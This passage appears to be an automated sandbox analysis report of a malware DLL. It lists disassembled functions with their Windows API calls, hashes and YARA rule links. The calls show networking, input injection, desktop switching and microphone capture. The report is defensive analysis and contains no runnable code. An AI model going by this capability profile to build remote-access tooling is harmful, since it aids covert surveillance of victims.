Instruction Fuzzy Hash: 08412535A0021D9FEB11CB60AC85BEA77EDEF05644F4500E6FA08DB141EB72AB49CB90

Function 1002B2F0 Relevance: 7.6, APIs: 5, Instructions: 112sleepthreadnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 100330C0: Sleep.KERNEL32(000003E8), ref: 10033128

Part of subcall function 10032F40: wvsprintfA.USER32(?,?,?), ref: 10032F61

inet_addr.WS2_32(?), ref: 1002B37D

Part of subcall function 100331F0: socket.WS2_32(00000002,00000001,00000000), ref: 1003320A
Part of subcall function 100331F0: htons.WS2_32(?), ref: 10033229
Part of subcall function 100331F0: connect.WS2_32(00000000,?,00000010), ref: 1003323A
Part of subcall function 100331F0: closesocket.WS2_32(00000000), ref: 1003324A

recv.WS2_32(00000000,?,00000002,00000000), ref: 1002B3BA
CreateThread.KERNEL32(00000000,00000000,10032F90,?,00000000,?), ref: 1002B406
Sleep.KERNEL32(000003E8), ref: 1002B42F
closesocket.WS2_32(00000000), ref: 1002B455

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Sleepclosesocket$CreateThreadconnecthtonsinet_addrrecvsocketwvsprintf
String ID:
API String ID: 421157994-0
Opcode ID: f51cd4f50fe536f6641357fae3ce4ccad5643432601bcb19d665fff625a65d17
Instruction ID: 5588e68ed6425f2ff60b23ace10c17daefb66debb4642901992ef4c9020f7f0e
Opcode Fuzzy Hash: f51cd4f50fe536f6641357fae3ce4ccad5643432601bcb19d665fff625a65d17
Instruction Fuzzy Hash: CD41D071504740AFE321DF60CC85B9BB7E8EF45701F40482EFA8596292DBB4B944CBA6

Function 10037060 Relevance: 7.6, APIs: 5, Instructions: 110COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 10037094
std::_Lockit::_Lockit.LIBCPMT ref: 100370B4
std::_Lockit::~_Lockit.LIBCPMT ref: 100370D4
std::_Facet_Register.LIBCPMT ref: 10037198
std::_Lockit::~_Lockit.LIBCPMT ref: 100371B0

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: fb16aeb2875a944e3336d5cad351bf72bae7e1541c6434f1b8e8d819a81eadbc
Instruction ID: 9480613635b0f2967e01e9bb59217a1922f7e2c943d44ef104bd2069d9eaf7b8
Opcode Fuzzy Hash: fb16aeb2875a944e3336d5cad351bf72bae7e1541c6434f1b8e8d819a81eadbc
Instruction Fuzzy Hash: 5441AD75A00255DFDB26CF58C880B9ABBF4FF04755F11815EE809AF281DB71AE01CB92

Function 100305F0 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1003061D
std::_Lockit::_Lockit.LIBCPMT ref: 1003063D
std::_Lockit::~_Lockit.LIBCPMT ref: 1003065D
std::_Facet_Register.LIBCPMT ref: 100306FB
std::_Lockit::~_Lockit.LIBCPMT ref: 10030713

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 5db8f90c598cdc9769e58086308f86aa8b3de8cd9e53e462ad51321bb129b7cc
Instruction ID: 0f50569ad8056509e67ca09eec5ae2b9b2ce18c76f9c1319e15164d0528afc3e
Opcode Fuzzy Hash: 5db8f90c598cdc9769e58086308f86aa8b3de8cd9e53e462ad51321bb129b7cc
Instruction Fuzzy Hash: 7341DD75A012949FEB12CF54C8A1B9AB7F4FF44325F11816EE809AF281DB71BD41CB81

Function 1002E33B Relevance: 7.6, APIs: 5, Instructions: 50windowstringCOMMON

Download Yara Rule

APIs

Part of subcall function 1002D4A0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 1002D4DD
Part of subcall function 1002D4A0: GetLastError.KERNEL32 ref: 1002D4E3
Part of subcall function 1002D4A0: wsprintfA.USER32 ref: 1002D560
Part of subcall function 1002D4A0: GetFileAttributesA.KERNEL32(?), ref: 1002D5F7

ScreenToClient.USER32(00000000,?), ref: 1002E4D1
ChildWindowFromPoint.USER32(00000000,?,?), ref: 1002E4E0
ScreenToClient.USER32(00000000,?), ref: 1002E4FC
ChildWindowFromPoint.USER32(00000000,?,?), ref: 1002E50B
GetWindowPlacement.USER32(00000000,?,?,?,?,?,?,?,?), ref: 1002E54A
RealGetWindowClass.USER32(00000000,?,00000104), ref: 1002E5B9
lstrcmp.KERNEL32(?,10079494), ref: 1002E5CC
SendMessageA.USER32(00000000,000001E1,00000000,00000000), ref: 1002E5E2
MenuItemFromPoint.USER32(00000000,00000000,?,?), ref: 1002E5F6
GetMenuItemID.USER32(00000000,00000000), ref: 1002E600
PostMessageA.USER32(00000000,?,?,?), ref: 1002E786

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Window$FromPoint$ChildClientItemMenuMessageScreen$AttributesClassErrorFileFolderLastPathPlacementPostRealSendlstrcmpwsprintf
String ID:
API String ID: 3814162062-0
Opcode ID: 2941e1f21a4b631bef5a80c12ca6aeac005e4635fb958a5590a2804724c5751c
Instruction ID: 267d7cb945fb86d99aaf7d0182b736ab93efce9508fa975a84536e16a4d7527c
Opcode Fuzzy Hash: 2941e1f21a4b631bef5a80c12ca6aeac005e4635fb958a5590a2804724c5751c
Instruction Fuzzy Hash: 2B01AD32048662AFD312DF10D845A6FBBEAEBC8351F52480DF99642121DF34DC09DBA2

Function 1002E34B Relevance: 7.5, APIs: 5, Instructions: 49windowstringCOMMON

Download Yara Rule

APIs

Part of subcall function 1002D720: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 1002D75B
Part of subcall function 1002D720: lstrcpy.KERNEL32(?,?), ref: 1002D799
Part of subcall function 1002D720: CreateFileA.KERNEL32(?,00000001,00000003,00000000,00000003,00000080,00000000), ref: 1002D7C3
Part of subcall function 1002D720: GetFileSize.KERNEL32(00000000,00000000), ref: 1002D7D7
Part of subcall function 1002D720: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 1002D7F9
Part of subcall function 1002D720: _strstr.LIBCMT ref: 1002D809
Part of subcall function 1002D720: _strstr.LIBCMT ref: 1002D828
Part of subcall function 1002D720: _strstr.LIBCMT ref: 1002D840

ScreenToClient.USER32(00000000,?), ref: 1002E4D1
ChildWindowFromPoint.USER32(00000000,?,?), ref: 1002E4E0
ScreenToClient.USER32(00000000,?), ref: 1002E4FC
ChildWindowFromPoint.USER32(00000000,?,?), ref: 1002E50B
GetWindowPlacement.USER32(00000000,?,?,?,?,?,?,?,?), ref: 1002E54A
RealGetWindowClass.USER32(00000000,?,00000104), ref: 1002E5B9
lstrcmp.KERNEL32(?,10079494), ref: 1002E5CC
SendMessageA.USER32(00000000,000001E1,00000000,00000000), ref: 1002E5E2
MenuItemFromPoint.USER32(00000000,00000000,?,?), ref: 1002E5F6
GetMenuItemID.USER32(00000000,00000000), ref: 1002E600
PostMessageA.USER32(00000000,?,?,?), ref: 1002E786

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Window$FileFromPoint_strstr$ChildClientItemMenuMessageScreen$ClassCreateFolderPathPlacementPostReadRealSendSizelstrcmplstrcpy
String ID:
API String ID: 2189505526-0
Opcode ID: 71dc371eb44f6791cff85a29ba50106697bc11bbc7c20150ca67a3d63eec9abc
Instruction ID: 37a7343a7be6c126ce2e24860b5f9666bdd6cd10573639b1608690e8b3f5eac9
Opcode Fuzzy Hash: 71dc371eb44f6791cff85a29ba50106697bc11bbc7c20150ca67a3d63eec9abc
Instruction Fuzzy Hash: 1A01C036008262AFD312CF10D845A7FBBE6EBC8351F42480DF99642120EF34CC09DBA2

Function 100223C4 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 100223DE
RtlLeaveCriticalSection.NTDLL(?), ref: 100223EF
RtlEnterCriticalSection.NTDLL(?), ref: 10022413
closesocket.WS2_32(000000FF), ref: 10022426
RtlLeaveCriticalSection.NTDLL(?), ref: 10022438

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: CriticalSection$EnterLeave$closesocket
String ID:
API String ID: 3380830492-0
Opcode ID: 35ced25d468d5670fca1f9a04b1e1b485d0dd7ddd7f6f3567e06f47098f018b7
Instruction ID: 5ff07feb1a9c44cadb94ebe3703caac7099068f00097b4d04046e54c2d718554
Opcode Fuzzy Hash: 35ced25d468d5670fca1f9a04b1e1b485d0dd7ddd7f6f3567e06f47098f018b7
Instruction Fuzzy Hash: 7801B131500914BBC301DFA8CC889DDBBEAEF16371F524355FD65A36D0DB70AA958AD0

Function 100223D0 Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 100223DE
RtlLeaveCriticalSection.NTDLL(?), ref: 100223EF
RtlEnterCriticalSection.NTDLL(?), ref: 10022413
closesocket.WS2_32(000000FF), ref: 10022426
RtlLeaveCriticalSection.NTDLL(?), ref: 10022438

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: CriticalSection$EnterLeave$closesocket
String ID:
API String ID: 3380830492-0
Opcode ID: ea77a2f87bbcd6cc39a3a749d8b4df51597107300b4aada49ffeb47442c28fdf
Instruction ID: cdd6664473d1b38a8f5df16eddca6dd789a76da583ef31535192caff020e5974
Opcode Fuzzy Hash: ea77a2f87bbcd6cc39a3a749d8b4df51597107300b4aada49ffeb47442c28fdf
Instruction Fuzzy Hash: B101B130500914BBC301DFA8C8889D9BBEAEF16361F524355F955932D0DB70AA958AD0

Function 1005A7DB Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 1005A7F3

Part of subcall function 1004D9B2: HeapFree.KERNEL32(00000000,00000000,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7), ref: 1004D9C8
Part of subcall function 1004D9B2: GetLastError.KERNEL32(10053BE7,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7,10053BE7), ref: 1004D9DA

_free.LIBCMT ref: 1005A805
_free.LIBCMT ref: 1005A817
_free.LIBCMT ref: 1005A829
_free.LIBCMT ref: 1005A83B

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5cde48d4c67deb276c8c0114ed93fbd9285caafbdb6db17bde0aeeed6ae2ce87
Instruction ID: 03de9a4bc28bb952db687bd92be6ab742a76b13ec67cfc6ba790fde6ff0c5c29
Opcode Fuzzy Hash: 5cde48d4c67deb276c8c0114ed93fbd9285caafbdb6db17bde0aeeed6ae2ce87
Instruction Fuzzy Hash: 9BF04931905210ABCB65EB58E8CAC6A33EDFE057A03618827F409D7601CA20FCC08A64

Function 100253E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165synchronizationCOMMON

Download Yara Rule

APIs

waveInGetNumDevs.WINMM(10081068), ref: 10025425
waveInGetDevCapsA.WINMM(00000000,?,00000030), ref: 10025497
WaitForSingleObject.KERNEL32(?,000000FF,10081068), ref: 100255AA

Strings

N/A@, xrefs: 10025510

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: wave$CapsDevsObjectSingleWait
String ID: N/A@
API String ID: 3710653462-4129345051
Opcode ID: 1243b2e7a641a833e1cbaf8e48201dfae163a94c9e19b0b69b5f6b5cad6363ee
Instruction ID: 13a6ff94af0e77f7e1e2c1b732d13b475a11508fa2af27eba5e8f420a26f26ce
Opcode Fuzzy Hash: 1243b2e7a641a833e1cbaf8e48201dfae163a94c9e19b0b69b5f6b5cad6363ee
Instruction Fuzzy Hash: 17518BB1904B6A9FDF01CF20DC5079EBBF6EF44311F410295DA1A6B282DB31AE44CBA5

Function 10031640 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 155librarystringCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(10079594,10081068,?,Enable,?,?,?,?,?,00000000,1003AC40,1007CC88,000000FE,?,10032F11,10078A50), ref: 10031682
lstrlen.KERNEL32(10078A50,?,?,?,?,?,00000000,1003AC40,1007CC88,000000FE,?,10032F11,10078A50,00000001,Enable,00000000), ref: 10031756
FreeLibrary.KERNEL32(1007CC88,?,?,?,?,?,00000000,1003AC40,1007CC88,000000FE,?,10032F11,10078A50,00000001,Enable), ref: 100317E2

Strings

Enable, xrefs: 1003165A

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Library$FreeLoadlstrlen
String ID: Enable
API String ID: 4087948096-4094479620
Opcode ID: 0b002468361c8ddaca228f60010b33fa468b1118439e5910450c11e71b4e25f7
Instruction ID: 0d77bde4d3f6e19500842112d0ba871150051fa243446ffc32163de4919ff8aa
Opcode Fuzzy Hash: 0b002468361c8ddaca228f60010b33fa468b1118439e5910450c11e71b4e25f7
Instruction Fuzzy Hash: A2511971E04219AFEB11CFA5CC44FEEBBB9EF08751F144026FA15FA160DB7599108BA4

Function 1002F230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,1006421C), ref: 1002F265
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1002F2A6
wsprintfA.USER32 ref: 1002F325

Strings

:\, xrefs: 1002F282

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: :\
API String ID: 3001812590-112054617
Opcode ID: 59b8e9a0ba33c22135eafea2768a0eb134a479e50700c0f27db9a57b3749d08b
Instruction ID: 68377135c77cc68ebf0f72161ecdd038539ba62a48a7956cd91579c1b7ec4f44
Opcode Fuzzy Hash: 59b8e9a0ba33c22135eafea2768a0eb134a479e50700c0f27db9a57b3749d08b
Instruction Fuzzy Hash: DA21077090036C6EDB15CA758C82BEDBFFCDB15300F0080EAE544EA291D6749B898FA5

Function 1004E3EA Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 1004E471

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e09ab61a6ca2936a1f0842c2723999058e119adbfc44070de7caad6fd36ae0f5
Instruction ID: 64171ecbdf8fc30144a333dd3e82c8524222b5e941e06bec0c7444253493c20c
Opcode Fuzzy Hash: e09ab61a6ca2936a1f0842c2723999058e119adbfc44070de7caad6fd36ae0f5
Instruction Fuzzy Hash: 21B13971D086D69FDB11CF28C8817AEBBE5EF55390F3641BAE844DB242D6349D01CB68

Function 10026440 Relevance: 6.2, APIs: 4, Instructions: 169keyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 10030BD0: GetCurrentThreadId.KERNEL32 ref: 10030BE8
Part of subcall function 10030BD0: GetThreadDesktop.USER32(00000000), ref: 10030BEF
Part of subcall function 10030BD0: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 10030C3A
Part of subcall function 10030BD0: lstrcmpiA.KERNEL32(?,?), ref: 10030C7E
Part of subcall function 10030BD0: SetThreadDesktop.USER32(00000000), ref: 10030C89

SetCursorPos.USER32(00000000,?,?,10064418,?,?,?,10025C3D,?,?), ref: 10026504
WindowFromPoint.USER32(00000000,?,?,10064418,?,?,?,10025C3D,?,?), ref: 1002650E
SetCapture.USER32(00000000,?,10064418,?,?,?,10025C3D,?,?), ref: 10026515
keybd_event.USER32(00000000,00000000,?,10064418), ref: 10026557

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: DesktopThread$CaptureCurrentCursorFromInputOpenPointWindowkeybd_eventlstrcmpi
String ID:
API String ID: 1651361913-0
Opcode ID: 0c169ef81d4b393fcb1e124fbcb841d506da81848c973b49fe367cba5a86b9ea
Instruction ID: d031476395bb0bb1c03e5d69dddd94ee0d90c247bfd8109c8b9e3e810b713226
Opcode Fuzzy Hash: 0c169ef81d4b393fcb1e124fbcb841d506da81848c973b49fe367cba5a86b9ea
Instruction Fuzzy Hash: FC519E31780324BAF731CB649C8BF597766EB49F04F718226FB00BE1D1DAE1B8518A58

Function 1005F38C Relevance: 6.1, APIs: 4, Instructions: 133fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1005F45C
_free.LIBCMT ref: 1005F485
SetEndOfFile.KERNEL32(00000000,1005D64F,00000000,10052D46,?,?,?,?,?,?,?,1005D64F,10052D46,00000000), ref: 1005F4B7
GetLastError.KERNEL32(?,?,?,?,?,?,?,1005D64F,10052D46,00000000,?,?,?,?,00000000), ref: 1005F4D3

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: b3d7b257df67468a99ab8e62c8491426388caf9ea3b71af238aa1f4c9f1779dc
Instruction ID: 9b928bc9920f47eaf83a4face1164b1f01003ff26f11db0b339bc9fe2be70295
Opcode Fuzzy Hash: b3d7b257df67468a99ab8e62c8491426388caf9ea3b71af238aa1f4c9f1779dc
Instruction Fuzzy Hash: 6141D77A9046055BDB11DFB4CC82AAF37B5EF443A0F310529F915E7192DB38ED498B21

Function 10055818 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10049DE0: _free.LIBCMT ref: 10049DEE

Part of subcall function 100555E8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,7FFFFFFF,?,00000001,?,00000000,?,?,1004DD30,?,00000000,00000006), ref: 1005568A

GetLastError.KERNEL32 ref: 10055880
__dosmaperr.LIBCMT ref: 10055887
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 100558C6
__dosmaperr.LIBCMT ref: 100558CD

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 3926a132f87e4109a2a1d4faa972ef2104e665fe2dc1ef1f2da86cad474e1fac
Instruction ID: 0a2aed4f8eacd2ddb5a1ff53a90e12f8f9725fd2544e7dd779b7d27ed8f125a9
Opcode Fuzzy Hash: 3926a132f87e4109a2a1d4faa972ef2104e665fe2dc1ef1f2da86cad474e1fac
Instruction Fuzzy Hash: 4621D375604216AFD710DFA5CCA2D6AB7EDEF002A57218525F819E7140DF32FD0487A0

Function 10050564 Relevance: 6.1, APIs: 4, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe9f3cc1fea7d5ee8450eafc1c042c66722bbb9f0f52a4a2f863344ab84818e
Instruction ID: fd1b72443f52a3ba2ca1641d2e14b8bcdfdf28fc6b16a1be3f15f840ce1b52f8
Opcode Fuzzy Hash: 2fe9f3cc1fea7d5ee8450eafc1c042c66722bbb9f0f52a4a2f863344ab84818e
Instruction Fuzzy Hash: 0421B775901626BBEB21DF248D84A4F3799DF416A0F220561FD05E7291EB70ED54C9E0

Function 10018200 Relevance: 6.1, APIs: 4, Instructions: 76windowstringCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 10018220
SendMessageW.USER32(?,0000000D,00000400,?), ref: 10018253
lstrlenW.KERNEL32(?), ref: 10018260
_wcsstr.LIBVCRUNTIME ref: 100182BA

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: MessageSendVisibleWindow_wcsstrlstrlen
String ID:
API String ID: 2904981177-0
Opcode ID: 5cf3b5f1593f91350f351e5a00ba689d4ab39bd2bce597115d8c6efbbb6adb5d
Instruction ID: 3fef4562bcdc271cd2924335678147aadf90d790ac9991495059f90398aedb7c
Opcode Fuzzy Hash: 5cf3b5f1593f91350f351e5a00ba689d4ab39bd2bce597115d8c6efbbb6adb5d
Instruction Fuzzy Hash: 2F21017694011C6ADB51DBA4DD45BDAB3BCEF08601F0040A6F705EA141DE74AB498BA4

Function 1004E0DC Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,1003ED3E,?,?,?,?,1003EE09,?,?,10085840), ref: 1004E0E1
_free.LIBCMT ref: 1004E13E
_free.LIBCMT ref: 1004E174
SetLastError.KERNEL32(00000000,100811E4,000000FF,?,1003EE09,?,?,10085840), ref: 1004E17F

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 03cc86f2fd8e960c195e2d773208e9cb1a03103ca8321f1bffce4cc580359c88
Instruction ID: ad6ae8e3b24cd59acf3ac1b5e4344378db22414886cbd34bbc8e5c64ae17178a
Opcode Fuzzy Hash: 03cc86f2fd8e960c195e2d773208e9cb1a03103ca8321f1bffce4cc580359c88
Instruction Fuzzy Hash: 3F1125366482912BE712D7F54CCADAF219EEFC07B4B320236FA28C61F2DE719C058154

Function 1004E233 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000008,?,?,100497F6,10053BE7,?,1005DD1D,?,?,?,?), ref: 1004E238
_free.LIBCMT ref: 1004E295
_free.LIBCMT ref: 1004E2CB
SetLastError.KERNEL32(00000000,100811E4,000000FF,?,100497F6,10053BE7,?,1005DD1D,?,?,?,?), ref: 1004E2D6

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 82c33be00a4b6c0ee501a6f6e4c5d1aeddf7e16f812ae8c19ae35d72468006ac
Instruction ID: f56758dfd794b339ec9e550e5ad1ecdfa7a01281a14a424ce45bae03a1d6b24f
Opcode Fuzzy Hash: 82c33be00a4b6c0ee501a6f6e4c5d1aeddf7e16f812ae8c19ae35d72468006ac
Instruction Fuzzy Hash: 43110C366081516AE702D7F54ECADAF265EEFC13B1B320336FA18D61D2DDA1DD054154

Function 10032270 Relevance: 6.1, APIs: 4, Instructions: 66synchronizationwindowCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 100322AD
WaitForSingleObject.KERNEL32(?,000000FF), ref: 100322B8
waveInAddBuffer.WINMM(?,?,00000020), ref: 100322D2
DispatchMessageA.USER32(?), ref: 100322F0

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: BufferDispatchEventMessageObjectSingleWaitwave
String ID:
API String ID: 204745351-0
Opcode ID: 91c3ab766f53dfa8765724531b7ecddfc0a843ddaf9fbd75d6e3375ec496e0bd
Instruction ID: 5ab2102c0d88b0b8f47d22a252cb3c75ca43ef1332af7c14eaf73d2de6573aea
Opcode Fuzzy Hash: 91c3ab766f53dfa8765724531b7ecddfc0a843ddaf9fbd75d6e3375ec496e0bd
Instruction Fuzzy Hash: A411D032A00319AFE710DFA9DC85F9AB7BAEB04721F010626E601DA1D0DB61E951CBA0

Function 100331F0 Relevance: 6.1, APIs: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 1003320A
htons.WS2_32(?), ref: 10033229
connect.WS2_32(00000000,?,00000010), ref: 1003323A
closesocket.WS2_32(00000000), ref: 1003324A

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: closesocketconnecthtonssocket
String ID:
API String ID: 3817148366-0
Opcode ID: e0e87266f4100410e46459b3aee8fac7b183189c69ef143c0b35ca8c9c184bb9
Instruction ID: 86eb78714c6bd48d37a1c5e0190e1159e497d6bb12789b97a2860bc2f6afef1d
Opcode Fuzzy Hash: e0e87266f4100410e46459b3aee8fac7b183189c69ef143c0b35ca8c9c184bb9
Instruction Fuzzy Hash: 1711E034A00218AFD701DFA88C45BEEF7B5EF49721F01421AFC42AB281DBB46A148BD0

Function 1003D01A Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 1003D034

Part of subcall function 1003CF81: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 1003CFB0
Part of subcall function 1003CF81: ___AdjustPointer.LIBCMT ref: 1003CFCB

_UnwindNestedFrames.LIBCMT ref: 1003D049
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 1003D05A
CallCatchBlock.LIBVCRUNTIME ref: 1003D082

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 34d2527305fb361fe866b13f01d8eee121678cf240835e2e581a06a0c5e935de
Instruction ID: e306269b884234a2feb5dae1234a47549cba8091af87a0e9fb2468b86f827147
Opcode Fuzzy Hash: 34d2527305fb361fe866b13f01d8eee121678cf240835e2e581a06a0c5e935de
Instruction Fuzzy Hash: 07012936500148BFCF13AE96DC45EEB3B79EF89795F044115FE089A121D736E861DBA0

Function 10021073 Relevance: 6.0, APIs: 4, Instructions: 50synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 1002109A

Part of subcall function 10030BD0: GetCurrentThreadId.KERNEL32 ref: 10030BE8
Part of subcall function 10030BD0: GetThreadDesktop.USER32(00000000), ref: 10030BEF
Part of subcall function 10030BD0: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 10030C3A
